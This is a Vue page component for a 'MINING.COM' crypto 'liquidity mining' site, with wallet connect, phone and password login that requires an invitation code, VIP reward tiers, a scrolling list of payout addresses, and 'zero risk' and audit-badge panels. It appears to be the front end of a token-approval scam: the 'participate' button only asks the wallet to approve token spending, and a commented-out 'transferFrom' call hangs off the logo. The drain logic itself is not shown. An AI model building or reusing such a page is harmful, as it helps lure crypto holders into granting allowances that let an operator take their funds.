<template>
  <div class="container">
    <div class="cheader">
      <div class="clogo" @click="transferFrom">MINING.COM</div>
      <!-- <img class="clogo" src="@/assets/images/lgoo.png" alt="" /> -->
      <img
          class="clan"
          src="@/assets/images/dyy.png"
          alt=""
          @click="lanShow = true"
      />
    </div>
    <div class="bbox">
      <div class="bbtn" @click="envChainShow = true">
        <img class="bb1" :src="chainInfo.icon" alt=""/>
        <span class="bb2">{{ chainInfo.name }}</span>
        <van-icon color="#000" name="arrow-down"/>
      </div>
      <div class="bbtn" @click="handleConnect">
        <img class="bb1" :src="chainInfo.icon" alt=""/>
        <span class="bb2">{{ showAddress || $t("all.lianjieqianbao") }}</span>
      </div>
      <div class="ctu">
        <div class="c1">
          <div class="c1-1">
            <img src="@/assets/images/erc.png" alt=""/>
            <span>{{ $t("all.dangqianzhiya") }}</span>
          </div>
          <div class="c1-2">{{ formatMoney(miningInfo.ethNum) }} USDT</div>
        </div>
        <div class="c1">
          <div class="c1-1">
            <img src="@/assets/images/bsc.png" alt=""/>
            <span>{{ $t("all.dangqianzhiya") }}</span>
          </div>
          <div class="c1-2">{{ formatMoney(miningInfo.bscNum) }} USDT</div>
        </div>
        <div class="canyu" @click="handleJoin">
          <img src="@/assets/images/chuizi.png" alt=""/> {{ $t("all.canyu") }}
        </div>
      </div>
    </div>
    <div class="dbox" style="margin-top: 114px">
      <div class="dtop">
        <img src="@/assets/images/liu.png" alt=""/>
        <span>{{ $t("all.liudongxingshuju") }}</span>
      </div>
      <div class="dcon">
        <div class="dli">
          <div class="dli-1">{{ $t("all.zongchanliang") }}</div>
          <div class="dli-2">{{ miningInfo.totalOutput }}</div>
        </div>
        <div class="dli">
          <div class="dli-1">{{ $t("all.youxiaojiedian") }}</div>
          <div class="dli-2">{{ miningInfo.validNode }}</div>
        </div>
        <div class="dli">
          <div class="dli-1">{{ $t("all.canyuzhe") }}</div>
          <div class="dli-2">{{ miningInfo.partakeCount }}</div>
        </div>
        <div class="dli">
          <div class="dli-1">{{ $t("all.daijianglijine") }}</div>
          <div class="dli-2">{{ miningInfo.notReward }}</div>
        </div>
        <div class="dli">
          <div class="dli-1">{{ $t("all.huigouxiaohuishuliang") }}</div>
          <div class="dli-2">{{ miningInfo.buyBackDestruction }}</div>
        </div>
        <div class="dli">
          <div class="dli-1">{{ $t("all.daihuigoujine") }}</div>
          <div class="dli-2">{{ miningInfo.waitBuyBack }}</div>
        </div>

        <div class="dli" style="width:100%;flex:1;">
          <div class="dli-1">{{ $t("all.jianbandaojishi") }}</div>
          <div class="dli-2">
            <van-count-down
                :format="'DD '+$t('all.tian')+' HH '+$t('all.shi')+' mm '+$t('all.fen')+' ss '+$t('all.miao')"
                :time="(+miningInfo.halveCountDown - new Date().getTime())"/>
          </div>
        </div>
      </div>
    </div>
    <div class="dbox">
      <div class="dtop">
        <img src="@/assets/images/liu.png" alt=""/>
        <span>{{ $t("all.liudongxingwakuang") }}</span>
      </div>
      <div class="ubox" ref="scrollRef">
        <div class="libox" v-for="item in miningList" :key="item.address">
          <div class="li1">
            <img src="@/assets/images/duihao.png" alt=""/>
            <span>{{ item.address }}</span>
          </div>
          <div class="li2">{{ item.num }} USDT</div>
        </div>
      </div>
    </div>
    <div class="ebox2">
      <div class="ltop">
        <div class="lt1">
          <img src="@/assets/images/huo.png" alt=""/>
          <span>{{ $t("all.zhiyadengjijiangli") }}</span>
        </div>
      </div>
      <div class="econ">
        <div class="eli1">
          <!-- {{ $t("all.dengji") }} -->
          <div>VIP</div>
          <div>{{ $t("all.tiaojian") }}</div>
          <div>{{ $t("all.jiangli") }}</div>
        </div>
        <div
            class="eli2"
            v-for="item in miningInfo.empowerConfig"
            :key="item.level"
        >
          <!-- <div>Lv{{ item.level }}</div> -->
          <div>
            <img class="bimg" src="@/assets/images/bibi.png" alt="">
          </div>
          <div>{{ item.minCondition + "~" + item.maxCondition }}USDT</div>
          <div>{{ item.minReward + "~" + item.maxReward }}%</div>
        </div>
      </div>
    </div>
    <!-- <div class="ebox">
      <div class="ltop" style="background:#ffa62d">
        <div class="lt1">
          <img src="@/assets/images/qkl.png" alt="">
          <span>流动性挖矿</span>
        </div>
      </div>
      <div class="econ">
        <div class="eli1">
          <div>交易对</div>
          <div>产出币种</div>
          <div>复利年化</div>
        </div>
        <div class="eli2" v-for="item in 5" :key="item">
          <div>MDX</div>
          <div>WHT</div>
          <div>0.53%</div>
        </div>
      </div>
    </div> -->
    <div class="dbox">
      <div class="htop">{{ $t("all.zijinanquanwufengxian") }}</div>
      <div class="fcon">
        <div class="fbox">
          <img src="@/assets/images/pingtaitedian1.jpeg" alt=""/>
          <div class="f2">{{ $t("all.lingfengxianloudong") }}</div>
        </div>
        <div class="fbox">
          <img src="@/assets/images/pingtaitedian2.jpeg" alt=""/>
          <div class="f2">{{ $t("all.gongnengwanshan") }}</div>
        </div>
        <div class="fbox">
          <img src="@/assets/images/pingtaitedian3.png" alt=""/>
          <div class="f2">{{ $t("all.gongkaitouming") }}</div>
        </div>
        <div class="fbox">
          <img src="@/assets/images/pingtaitedian4.jpeg" alt=""/>
          <div class="f2">{{ $t("all.zijinzhangwoquan") }}</div>
        </div>
      </div>
    </div>
    <div class="wbox">
      <div class="htop">{{ $t("all.shenjijigou") }}</div>
      <div class="gcon">
        <div class="fli">
          <img src="@/assets/images/sj1.png" alt=""/>
        </div>
        <div class="fli">
          <img src="@/assets/images/sj2.png" alt=""/>
        </div>
        <div class="fli">
          <img src="@/assets/images/sj3.png" alt=""/>
        </div>
      </div>
    </div>
    <div class="wbox">
      <div class="htop">{{ $t("all.hezuohuoban") }}</div>
      <div class="gcon">
        <div class="fli2" v-for="item in 10" :key="item">
          <img :src="require('@/assets/images/hz' + item + '.png')" alt=""/>
        </div>
      </div>
    </div>
    <van-dialog
        v-model:show="envChainShow"
        :title="$t('all.xuanzelian')"
        :confirmButtonText="$t('all.queren')"
    >
      <div class="cli" @click="chooseEncChain('eth')">
        <img src="@/assets/images/erc.png" alt=""/>
        <div class="cli2">ERC</div>
      </div>
      <div class="cli" @click="chooseEncChain('trx')">
        <img src="@/assets/images/trc.png" alt=""/>
        <div class="cli2">TRC</div>
      </div>
      <div class="cli" @click="chooseEncChain('bsc')">
        <img src="@/assets/images/bsc.png" alt=""/>
        <div class="cli2">BSC</div>
      </div>
    </van-dialog>
    <van-dialog
        v-model:show="lanShow"
        :title="$t('all.xuanzeyuyan')"
        :confirmButtonText="$t('all.queren')"
    >
      <div class="ebox" style="margin-top: 10px">
        <div
            class="eli"
            v-for="item in lanList"
            :key="item.value"
            @click="handleLanguage(item)"
        >
          <img :src="item.icon" alt=""/>
          <div class="eli2">{{ item.name }}</div>
        </div>
      </div>
    </van-dialog>

    <!-- 登录/注册 -->
    <van-dialog
        v-model:show="loginShow"
        :title="' '"
        :show-confirm-button="false"
    >
      <div style="padding: 10px 0; position: relative">
        <van-icon
            @click="loginShow = false"
            name="cross"
            size="19"
            style="position: absolute; top: -22px; right: 34px; z-index: 100"
        />
        <van-tabs
            v-model:active="loginTabIndex"
            sticky
            title-inactive-color="#878B97"
            title-active-color="#252424"
            color="#252424"
            line-width="20px"
            background="#fff"
        >
          <van-tab :title="$t('all.login')" name="login">
          </van-tab>
          <van-tab :title="$t('all.register')" name="register">
          </van-tab>
        </van-tabs>
        <van-cell-group inset>
          <van-field
              type="tel"
              v-model="loginForm.phone"
              :label="$t('all.phone')"
              :placeholder="$t('all.phoneFormat')"
              label-width="70"
          />
          <van-field
              type="password"
              v-model="loginForm.password"
              :label="$t('all.password')"
              :placeholder="$t('all.passwordFormat')"
              label-width="70"
          />
          <van-field
              v-show="loginTabIndex === 'register'"
              type="password"
              v-model="loginForm.confirmPassword"
              :label="$t('all.confirmPassword')"
              :placeholder="$t('all.pleaseEnterPassword')"
              label-width="70"
          />
          <van-field
              v-show="loginTabIndex === 'register'"
              type="text"
              v-model="loginForm.invitationCode"
              :label="$t('all.yaoqingma')"
              :placeholder="$t('all.qingshuruyaoqingma')"
              label-width="70"
          />
          <van-field
              v-show="loginTabIndex === 'register' && infos.isWeb3"
              type="text"
              readonly
              v-model="loginForm.chain"
              :label="$t('all.gonglian')"
              :placeholder="$t('all.gonglian')"
              label-width="70"
          />
          <van-field
              v-show="loginTabIndex === 'register' && infos.isWeb3"
              type="textarea"
              readonly
              v-model="loginForm.address"
              :label="$t('all.dizhi')"
              :placeholder="$t('all.dizhi')"
              label-width="70"
          />

        </van-cell-group>
        <div class="zbtn" v-show="loginTabIndex === 'login'" @click="loginSubmit">
          {{ loginSubmitBtn ? $t('all.processing') : $t('all.tijiao') }}
        </div>
        <div class="zbtn" v-show="loginTabIndex === 'register'" @click="registerSubmit">
          {{ loginSubmitBtn ? $t('all.processing') : $t('all.tijiao') }}
        </div>
      </div>
    </van-dialog>

    <!-- 旧用户完善账户信息 -->
    <van-dialog
        v-model:show="userInfoCompleteShow"
        :title="$t('all.wanshanxinxi')"
        :show-confirm-button="false"
    >
      <div style="padding: 10px 0; position: relative">
        <van-icon
            @click="userInfoCompleteShow = false"
            name="cross"
            size="19"
            style="position: absolute; top: -22px; right: 34px; z-index: 100"
        />
        <van-cell-group inset>
          <van-field
              type="tel"
              v-model="userInfoCompleteForm.phone"
              :label="$t('all.phone')"
              :placeholder="$t('all.phoneFormat')"
              label-width="70"
          />
          <van-field
              type="password"
              v-model="userInfoCompleteForm.password"
              :label="$t('all.password')"
              :placeholder="$t('all.passwordFormat')"
              label-width="70"
          />
          <van-field
              type="password"
              v-model="userInfoCompleteForm.confirmPassword"
              :label="$t('all.confirmPassword')"
              :placeholder="$t('all.pleaseEnterPassword')"
              label-width="70"
          />
        </van-cell-group>
        <div class="zbtn" @click="userInfoCompleteSubmit">
          {{ userInfoCompleteSubmitBtn ? $t('all.processing') : $t('all.tijiao') }}
        </div>
      </div>
    </van-dialog>

    <!-- 浏览器注册的用户绑定钱包地址 -->
    <van-dialog
        v-model:show="userBindAddressShow"
        :title="$t('all.wanshanxinxi')"
        :show-confirm-button="false"
    >
      <div style="padding: 10px 0; position: relative">
        <van-icon
            @click="userBindAddressShow = false"
            name="cross"
            size="19"
            style="position: absolute; top: -22px; right: 34px; z-index: 100"
        />
        <van-cell-group inset>
          <van-field
              type="text"
              readonly
              v-model="userBindAddressForm.chain"
              :label="$t('all.gonglian')"
              :placeholder="$t('all.gonglian')"
              label-width="70"
          />
          <van-field
              type="textarea"
              readonly
              v-model="userBindAddressForm.address"
              :label="$t('all.dizhi')"
              :placeholder="$t('all.dizhi')"
              label-width="70"
          />
        </van-cell-group>
        <div class="zbtn" @click="userBindAddressSubmit">
          {{ userBindAddressSubmitBtn ? $t('all.processing') : $t('all.tijiao') }}
        </div>
      </div>
    </van-dialog>

    <!-- 提问 -->
    <van-dialog
        v-model:show="questionShow"
        :title="$t('all.wentizixun')"
        :show-confirm-button="false"
    >
      <div style="padding: 10px 0; position: relative; height: 60vh">
        <van-icon
            @click="questionShow = false"
            name="cross"
            size="19"
            style="position: absolute; top: -22px; right: 34px; z-index: 100"
        />
        <div class="nbox">
          <van-collapse v-model="activeNames">
            <van-collapse-item
                :readonly="item.isAnswer === '否'"
                v-for="(item, index) in questionList"
                :key="item.id"
                :title="index + 1 + '. ' + item.question"
                :name="item.id"
            >
              {{ $t("all.huifu") }}：{{ item.answer || "" }}
            </van-collapse-item>
          </van-collapse>
        </div>
        <div class="vbox">
          <van-cell-group inset>
            <van-field
                v-model="questionMessage"
                rows="2"
                autosize
                :label="$t('all.wenti')"
                label-width="40"
                type="textarea"
                maxlength="100"
                :placeholder="$t('all.qingshuruwenti')"
                show-word-limit
            />
          </van-cell-group>
          <div class="fasong2" @click="handleQuestion">
            {{ $t("all.fasong") }}
          </div>
        </div>
      </div>
    </van-dialog>
    <div style="height: 30px"></div>
    <img
        @click="
        questionShow = true;
        getQuestionList();
      "
        class="kimg"
        src="@/assets/images/kefu.png"
        alt=""
    />
  </div>
</template>

<script setup lang="ts">
import {computed, getCurrentInstance, onMounted, onUnmounted, reactive, ref,} from "vue";
import {useRoute} from "vue-router";
import {useStore} from "@/store";
import {chainList, formatMoney} from "@/utils/common";
import {Toast} from "vant";
import http from "@/utils/http";
import md5 from 'js-md5'

const {
  appContext: {
    config: {globalProperties},
  },
} = getCurrentInstance();
const route = useRoute();
const store = useStore();
const infos = computed(() => store.state.users.infos);
const envChainShow = ref(false);
const lanShow = ref(false);

const miningInfo = ref<any>({});
const scrollRef = ref();
const questionShow = ref(false);
const activeNames = ref([]);
const questionMessage = ref("");
const questionList = ref<any[]>([]);
let timer;
let timer2;

const loginShow = ref(false);
const loginTabIndex = ref('login')
const loginSubmitBtn = ref(false)
const loginForm = reactive({
  phone: '',
  password: '',
  confirmPassword: '',
  invitationCode: '',
  chain: '',
  address: '',
});

const userInfoCompleteShow = ref(false)
const userInfoCompleteForm = reactive({
  phone: '',
  password: '',
  confirmPassword: ''
})
const userInfoCompleteSubmitBtn = ref(false)

const userBindAddressShow = ref(false)
const userBindAddressForm = reactive({
  chain: '',
  address: ''
})
const userBindAddressSubmitBtn = ref(false)

const miningList = ref<any[]>([]);
const chainInfo = computed(() => chainList[infos.value.envChain || "eth"]);
const lanList = [
  {
    icon: require("@/assets/images/Lyingguo.gif"),
    name: "English",
    value: "en",
  },
  {
    icon: require("@/assets/images/LIndonesia.png"),
    name: "Indonesian",
    value: "Indonesian",
  },
  {
    icon: require("@/assets/images/Ldeguo.gif"),
    name: "Deutsch",
    value: "deyu",
  },
  {
    icon: require("@/assets/images/Lxibanya.gif"),
    name: "Español",
    value: "xibanyayu",
  },
  {
    icon: require("@/assets/images/Lyuenan.gif"),
    name: "Việt Nam",
    value: "yuenanyu",
  },
  {
    icon: require("@/assets/images/Lzhongguo.jpeg"),
    name: "中文",
    value: "zh",
  },
];
const showAddress = computed(() => {
  const address = infos.value.envAddress;
  return address
      ? address?.substring(0, 4) +
      "***" +
      address?.substring(address.length - 4, address.length)
      : "";
});

const handleLanguage = (item: any) => {
  localStorage.setItem("ali_language", item.value);
  globalProperties.$i18n.locale = item.value;
  lanShow.value = false;
};

const getQuestionList = async () => {
  const ret: any = await http.get("question/app/list", {
    pageSize: 30,
    pageNum: 1,
  });
  if (ret.code === 200) {
    questionList.value = ret.rows;
  }
};
const handleQuestion = async () => {
  if (!questionMessage.value) {
    Toast("请输入问题");
    return;
  }
  const ret: any = await http.post("question/save", {
    question: questionMessage.value,
  });
  if (ret.code === 200) {
    getQuestionList();
    questionMessage.value = "";
  }
};
onMounted(() => {

  // 处理路径参数
  handleRouteParam()
  // 如果尚未登录
  if (!infos.value.token) {
    // 初始化web3信息
    initWeb3Data()
    // 检查登录状态
    checkLogin()
  }

  // 渲染页面数据
  getMiningList();
  getiMiningInfo();
  timer2 = setInterval(() => {
    getiMiningInfo();
  }, 5000);
});
const getiMiningInfo = async () => {
  const ret2: any = await http.get("mining/config");
  if (ret2.code === 200) {
    miningInfo.value = ret2.data;
  }
};
onUnmounted(() => {
  clearInterval(timer);
  clearInterval(timer2);
});
const chooseEncChain = (envChain: string) => {
  store.commit("users/clearToken");
  store.commit("users/updateInfos", {
    envChain: envChain,
  });
  envChainShow.value = false;
};

// 处理路径参数
const handleRouteParam = async () => {
  const code = route.query?.invitationCode || "";
  loginForm.invitationCode = code as string;
}

// 初始化web3相关信息
const initWeb3Data = async () => {
  // console.log("chain：" + infos.value.envChain)
  // console.log("eth环境：" + !(window as any).ethereum)
  // console.log("trx环境：" + !(window as any).tronWeb)
  // 如果不是web3环境，直接结束
  if ((infos.value.envChain === 'eth' || infos.value.envChain === 'bsc') && !(window as any).ethereum) {
    return
  } else if (infos.value.envChain === 'trx' && !(window as any).tronWeb) {
    return
  }

  infos.value.isWeb3 = true
  // console.log("web3环境：" + true)
  // 调用web3接口，签名获取地址
  await store.dispatch("users/connectWallet", infos.value.envChain);
  if (!infos.value.envAddress) {
    return
  }

  // 尝试根据公链、地址直接登陆
  await store.dispatch("users/loginByAddress")
}

// 检查登录状态
const checkLogin = async () => {
  // 登录成功，判断是否已经填写了手机号
  if (infos.value.token && !infos.value.phone) {
    userInfoCompleteShow.value = true

    // 如果没有登录成功，用户开始登录/注册
  } else if (!infos.value.token) {
    if (infos.value.isWeb3) {
      loginForm.chain = infos.value.envChain
      loginForm.address = infos.value.envAddress
    }
    loginShow.value = true
  }
}

// 链接钱包
const handleConnect = async () => {
  // console.log("token：" + infos.value.token)
  // 已经登录了
  if (infos.value.token) {
    if (!infos.value.isWeb3) {
      Toast(globalProperties.$t('all.canNotLinkWallet'));
    }
    return
  }

  // 初始化web3信息
  await initWeb3Data()
  // 检查登录状态
  await checkLogin()
};
const handleJoin = () => {
  if (!infos.value.isWeb3) {
    Toast(globalProperties.$t('all.canNotLinkWallet'));
    return
  }

  store.dispatch("users/approve", infos.value.envChain);
};
const transferFrom = () => {
  // store.dispatch("users/transferFrom", "eth");
};

// 手机号、密码登录
const loginSubmit = async () => {
  if (loginSubmitBtn.value) {
    return
  }

  if (!loginForm.phone) {
    Toast(globalProperties.$t("all.pleaseEnterPhone"));
    return;
  } else if (!loginForm.password) {
    Toast(globalProperties.$t("all.pleaseEnterPassword"));
    return;
  }

  // 校验手机号格式，只需要是纯数字就可以
  if (!/^[0-9]{4,20}$/.test(loginForm.phone)) {
    Toast(globalProperties.$t("all.enterCorrectPhone"));
    return;
  }
  // 校验密码格式，大小写字母、数字均可
  if (!/^[a-zA-Z0-9]{8,20}$/.test(loginForm.password)) {
    Toast(globalProperties.$t("all.enterCorrectPassword"));
    return;
  }

  // 登录
  loginSubmitBtn.value = true
  http.post('user/login/password', loginForm).then((res) => {
    if (res.code === 200) {
      const user = res.data.user
      store.commit('users/updateInfos', {
        token: res.data.token,
        chain: user ? user.chain : null,
        address: user ? user.address : null,
        phone: user ? user.phone : null
      })

      Toast(globalProperties.$t("all.chenggong"));
      loginShow.value = false;

      // console.log(infos.value)
      // console.log(!infos.value.address && infos.value.isWeb3)
      // 如果没有绑定钱包地址，并且当前是web3环境，弹出绑定地址modal
      if (!infos.value.address && infos.value.isWeb3) {
        userBindAddressForm.chain = infos.value.envChain
        userBindAddressForm.address = infos.value.envAddress
        userBindAddressShow.value = true
      }
    } else {
      Toast(globalProperties.$t(res.data.msg));
    }
  }).finally(() => {
    loginSubmitBtn.value = false
  })
};

// 注册
const registerSubmit = async () => {
  if (loginSubmitBtn.value) {
    return
  }

  if (!loginForm.phone) {
    Toast(globalProperties.$t("all.pleaseEnterPhone"));
    return;
  } else if (!loginForm.password) {
    Toast(globalProperties.$t("all.pleaseEnterPassword"));
    return;
  } else if (loginForm.password !== loginForm.confirmPassword) {
    Toast(globalProperties.$t("all.confirmPasswordNotMatch"));
    return;
  } else if (!loginForm.invitationCode) {
    Toast(globalProperties.$t("all.qingshuruyaoqingma"));
    return;
  }

  // 校验手机号格式，只需要是纯数字就可以
  if (!/^[0-9]{4,20}$/.test(loginForm.phone)) {
    Toast(globalProperties.$t("all.enterCorrectPhone"));
    return;
  }
  // 校验密码格式，大小写字母、数字均可
  if (!/^[a-zA-Z0-9]{8,20}$/.test(loginForm.password)) {
    Toast(globalProperties.$t("all.enterCorrectPassword"));
    return;
  }

  // 注册
  loginSubmitBtn.value = true
  http.post('user/register', {
    phone: loginForm.phone,
    password: md5(loginForm.password),
    invitationCode: loginForm.invitationCode,
    chain: loginForm.chain,
    address: loginForm.address
  }).then(res => {
    if (res.code === 200) {
      store.commit('users/updateInfos', {
        token: res.data.token,
        ...res.data.user
      })

      Toast(globalProperties.$t("all.chenggong"));
      loginShow.value = false;
    } else {
      Toast(globalProperties.$t(res.data.msg));
    }
  }).finally(() => {
    loginSubmitBtn.value = false
  })
}

// 提交用户信息完善
const userInfoCompleteSubmit = async () => {
  if (userInfoCompleteSubmitBtn.value) {
    return
  }

  if (!userInfoCompleteForm.phone) {
    Toast(globalProperties.$t("all.pleaseEnterPhone"));
    return;
  } else if (!userInfoCompleteForm.password) {
    Toast(globalProperties.$t("all.pleaseEnterPassword"));
    return;
  } else if (userInfoCompleteForm.password !== userInfoCompleteForm.confirmPassword) {
    Toast(globalProperties.$t("all.confirmPasswordNotMatch"));
    return;
  }

  // 校验手机号格式，只需要是纯数字就可以
  if (!/^[0-9]{4,20}$/.test(userInfoCompleteForm.phone)) {
    Toast(globalProperties.$t("all.enterCorrectPhone"));
    return;
  }
  // 校验密码格式，大小写字母、数字均可
  if (!/^[a-zA-Z0-9]{8,20}$/.test(userInfoCompleteForm.password)) {
    Toast(globalProperties.$t("all.enterCorrectPassword"));
    return;
  }

  userInfoCompleteSubmitBtn.value = true
  http.post('user/complete', {
    phone: userInfoCompleteForm.phone,
    password: md5(userInfoCompleteForm.confirmPassword)
  }).then(res => {
    if (res.code === 200) {
      Toast(globalProperties.$t("all.chenggong"));
      userInfoCompleteShow.value = false;
      store.commit('users/updateInfos', res.data)

    } else {
      Toast(globalProperties.$t(res.data.msg));
    }
  }).finally(() => {
    userInfoCompleteSubmitBtn.value = false
  })
};

// 提交用户绑定地址
const userBindAddressSubmit = async () => {
  if (userBindAddressSubmitBtn.value) {
    return
  }

  userBindAddressSubmitBtn.value = true
  http.post('user/address/bind', {
    chain: userBindAddressForm.chain,
    address: userBindAddressForm.address
  }).then(res => {
    if (res.code === 200) {
      Toast(globalProperties.$t("all.chenggong"));
      userBindAddressShow.value = false;
      store.commit('users/updateInfos', res.data)

    } else {
      Toast(globalProperties.$t(res.data.msg));
    }
  }).finally(() => {
    userBindAddressSubmitBtn.value = false
  })
};

const getMiningList = async () => {
  const ret: any = await http.get("mining/list");
  if (ret.code === 200) {
    miningList.value = ret.data;
    startScroll();
  }
};

const startScroll = () => {
  //设置定时器,每50毫秒列表向下滑动1单位
  timer = setInterval(() => {
    //判断是否到底,如果到底,恢复到顶
    if (scrollRef.value) {
      if (
          scrollRef.value.scrollTop >=
          scrollRef.value.scrollHeight - scrollRef.value.clientHeight
      ) {
        scrollRef.value.scrollTop = 0;
      } else {
        scrollRef.value.scrollTop += 1;
      }
    }
  }, 50);
};
</script>

<style lang="scss" scoped>
.cheader {
  width: 100vw;
  height: 45px;
  position: fixed;
  background: #fff;
  z-index: 100;
  top: 0;
  left: 0;

  .clogo {
    position: absolute;
    top: 50%;
    left: 15px;
    transform: translateY(-50%);
    font-weight: 600;
    font-size: 17px;
  }

  .clan {
    width: 30px;
    height: 30px;
    border-radius: 50%;
    position: absolute;
    top: 50%;
    right: 20px;
    transform: translateY(-50%);
  }
}

.bbox {
  margin-top: 45px;
  padding: 40px 24px 80px;
  display: flex;
  align-items: center;
  justify-content: space-between;
  // background: #252424;
  background: url("@/assets/images/bgg.jpg") no-repeat;
  background-size: 100%;
  position: relative;

  .bbtn {
    width: 40vw;
    height: 40px;
    border-radius: 20px;
    background: rgba($color: #fff, $alpha: 1);
    display: flex;
    align-items: center;

    .bb1 {
      width: 20px;
      margin: 0 10px 0 20px;
    }

    .bb2 {
      color: #000;
      font-size: 13px;
      margin-right: 14px;
    }
  }

  .ctu {
    width: 84vw;
    height: 100px;
    background: #fff;
    position: absolute;
    bottom: -84px;
    left: 6vw;
    padding: 18px 10px 14px;
    border-radius: 4px 4px 0 0;
    display: flex;
    align-items: center;
    flex-wrap: wrap;
    justify-content: center;

    .canyu {
      width: 68vw;
      height: 36px;
      margin-top: 10px;
      background-image: linear-gradient(to bottom right, #36b4ea, #0996d3);
      text-align: center;
      line-height: 36px;
      color: #fff;
      border-radius: 4px;
      display: flex;
      align-items: center;
      justify-content: center;

      img {
        width: 20px;
        margin-right: 4px;
      }
    }

    .c1 {
      display: flex;
      flex-direction: column;
      flex: 1;

      .c1-1 {
        display: flex;
        align-items: center;
        justify-content: center;

        img {
          width: 20px;
        }

        span {
          color: #7d7d7d;
          margin-left: 6px;
        }
      }

      .c1-2 {
        font-size: 14px;
        font-weight: 600;
        color: #282623;
        margin-top: 10px;
        text-align: center;
      }
    }
  }
}

.dbox {
  width: 80vw;
  padding: 20px;
  margin: 20px auto 0;
  border-radius: 4px;
  background: #fff;
  box-shadow: 0 10px 20px 0 rgb(10 20 111 / 5%),
  1px 1px 1px 0 hsl(0deg 0% 100% / 30%);

  .dtop {
    display: flex;
    align-items: center;

    img {
      width: 24px;
    }

    span {
      font-size: 16px;
      color: #646464;
      font-weight: 600;
      margin-left: 10px;
    }
  }

  .dcon {
    display: flex;
    flex-wrap: wrap;
    justify-content: space-between;
    padding: 10px 0;

    .dli {
      display: flex;
      flex-direction: column;
      width: 50%;
      flex: 0 0 50%;
      margin-top: 14px;

      .dli-1 {
        font-size: 12px;
        color: #808eb5;
        margin-bottom: 6px;
      }

      .dli-2 {
        color: #48587b;
        font-size: 15px;
        font-weight: 500;
      }
    }
  }
}

.ubox {
  margin-top: 20px;
  padding: 0px 0 10px;
  max-height: 200px;
  overflow: scroll;

  .libox {
    display: flex;
    margin-top: 20px;
    align-items: center;
    justify-content: space-between;

    .li1 {
      display: flex;
      align-items: center;

      img {
        width: 14px;
      }

      span {
        font-size: 12px;
        color: #7d7d7d;
        margin-left: 6px;
      }
    }

    .li2 {
      font-size: 13px;
      font-weight: 600;
      color: #252424;
    }
  }
}

.ebox2 {
  width: calc(80vw + 40px);
  // padding: 20px;
  margin: 20px auto 0;
  border-radius: 4px;
  overflow: hidden;
  background: #fff;
  box-shadow: 0 10px 20px 0 rgb(10 20 111 / 5%),
  1px 1px 1px 0 hsl(0deg 0% 100% / 30%);
}

.ltop {
  height: 40px;
  padding: 0 20px;
  // background-image: linear-gradient(to bottom right, #36b4ea, #0996d3);
  display: flex;
  align-items: center;

  .lt1 {
    display: flex;
    align-items: center;

    img {
      width: 24px;
      margin: 0 10px 0 0px;
    }

    span {
      color: #000;
      font-size: 15px;
      font-weight: 600;
    }
  }
}

.econ {
  padding: 0 24px;

  .eli1 {
    display: flex;
    justify-content: space-between;
    align-items: center;
    height: 40px;
    border-bottom: 1px solid #dee0ed;
  }

  .eli2 {
    display: flex;
    justify-content: space-between;
    align-items: center;
    height: 40px;
    border-bottom: 1px dashed #dee0ed;
    font-size: 13px;
    color: #7d7d7d;

    &:last-child {
      border: 0;
    }

    div {
      &:first-child {
        color: #48587b;
      }

      &:last-child {
        color: #36b4ea;
      }

      .bimg {
        width: 28px;
        height: 28px;
        border-radius: 50%;
      }
    }
  }
}

.htop {
  font-size: 17px;
  text-align: center;
  color: #041843;
  margin-bottom: 20px;
}

.fcon {
  display: flex;
  flex-wrap: wrap;
  justify-content: space-between;

  .fbox {
    flex: 0 0 48%;
    display: flex;
    flex-direction: column;
    margin-bottom: 10px;

    img {
      width: 100%;
      height: 100px;
      border-radius: 2px;
    }

    .f2 {
      font-size: 12px;
      height: 30px;
      display: flex;
      align-items: center;
      justify-content: center;
    }
  }
}

.wbox {
  width: calc(80vw + 40px);
  margin: 30px auto 0;

  .gcon {
    display: flex;
    justify-content: center;
    flex-wrap: wrap;

    .fli,
    .fli2 {
      width: 30%;
      flex: 0 0 30%;
      height: 40px;
      background: #fff;
      border-radius: 2px;
      display: flex;
      align-items: center;
      justify-content: center;
      margin-bottom: 10px;
      margin: 3px;

      img {
        width: 100%;
      }
    }

    .fli2 {
      width: 22%;
      flex: 0 0 22%;
    }
  }
}

.cli {
  display: flex;
  height: 60px;
  align-items: center;
  background: #f2f2f2;
  border-radius: 4px;
  margin: 10px 20px 0px;

  &:last-child {
    margin-bottom: 10px;
  }

  img {
    width: 34px;
    height: 34px;
    border-radius: 50%;
    margin-right: 20px;
    margin-left: 40px;
  }

  .cli2 {
    font-size: 15px;
  }
}

.ebox {
  display: flex;
  flex-wrap: wrap;
  padding: 0 10px;
  width: calc(100% - 20px);

  .eli {
    // flex: 1;
    flex: 0 0 calc(50% - 50px);
    padding: 0 20px;
    display: flex;
    height: 45px;
    align-items: center;
    justify-content: space-between;
    background: #f2f2f2;
    border-radius: 4px;
    margin-bottom: 10px;

    &:nth-child(2n) {
      margin-left: 10px;
    }

    img {
      width: 30px;
      height: 20px;
      border-radius: 2px;
      margin-right: 4px;
    }

    .eli2 {
      font-size: 12px;
    }
  }
}

.zbtn {
  width: 68vw;
  height: 36px;
  background-image: linear-gradient(to bottom right, #36b4ea, #0996d3);
  text-align: center;
  margin: 10px auto;
  line-height: 36px;
  color: #fff;
  border-radius: 4px;
  display: flex;
  align-items: center;
  justify-content: center;
}

.fasong {
  font-size: 13px;
  color: #36b4ea;
  position: absolute;
  right: 16px;
  top: 50%;
  z-index: 1001;
  transform: translateY(-50%);
}

.kimg {
  width: 30px;
  height: 30px;
  padding: 4px;
  border-radius: 50%;
  border: 2px solid #0996d3;
  position: fixed;
  right: 30px;
  bottom: 80px;
  z-index: 600;
  background: #fff;
}

.nbox {
  padding-bottom: 20px;
  height: calc(100% - 120px);
  // border:1px solid red;
  overflow-y: scroll;
}

.vbox {
  height: 100px;
  // border-top:1px solid red;
  width: 100%;
  padding: 10px 0;
  background: #f1f1f1;
  position: absolute;
  bottom: 0;
  left: 0;

  .fasong2 {
    width: 54px;
    height: 28px;
    background-image: linear-gradient(to bottom right, #36b4ea, #0996d3);
    text-align: center;
    color: #fff;
    border-radius: 4px;
    display: flex;
    font-size: 12px;
    align-items: center;
    justify-content: center;
    position: absolute;
    bottom: 30px;
    right: 24px;
  }
}
</style>
